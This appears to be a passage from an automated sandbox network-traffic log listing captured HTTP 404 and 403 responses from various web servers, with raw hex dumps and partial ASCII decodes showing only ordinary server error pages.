61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 38 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 3e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77570Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:23 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: HdlfZg0M/pddbtNGuData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 20 Dec 2023 02:13:23 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 199Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 32 33 0d 0a 0a 0a 20 20 20 20 54 68 65 20 6c 69 6e 6b 20 6f 6e 20 74 68 65 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 0d 0a 38 33 0d 0a 68 74 74 70 3a 2f 2f 6d 65 75 72 72 65 6e 73 2e 6f 72 67 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 72 65 66 65 72 72 69 6e 67 0a 20 20 20 20 70 61 67 65 3c 2f 61 3e 20 73 65 65 6d 73 20 74 6f 20 62 65 20 77 72 6f 6e 67 20 6f 72 20 6f 75 74 64 61 74 65 64 2e 20 50 6c 65 61 73 65 20 69 6e 66 6f 72 6d 20 74 68 65 20 61 75 74 68 6f 72 20 6f 66 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 0d 0a 34 61 0d 0a 68 74 74 70 3a 2f 2f 6d 65 75 72 72 65 6e 73 2e 6f 72 67 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 74 68 61 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:23 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: 0dUj527P/WOPc5Vb0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-105.ec2.internalX-Request-Id: bb4fd677-0ce6-4946-93d7-9dcfec74c7bfData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveCache-Control: privateX-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WRe5lXzWJRXgA4JwD1Q%2F1aChDRlSYOWyl4XQ%2BnL9OjyfvwPbCdsoFMniCkjzDG6RCWc8qOKDovrRbmc3tekkPPP8MenSMC4xFN72QspGjneOFRfL6K7flI8OEF6rGi2jcGw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845da68e1b746f-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-104.ec2.internalX-Request-Id: b47fe4a6-a1ca-4c8e-b4da-54b56d53e301Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
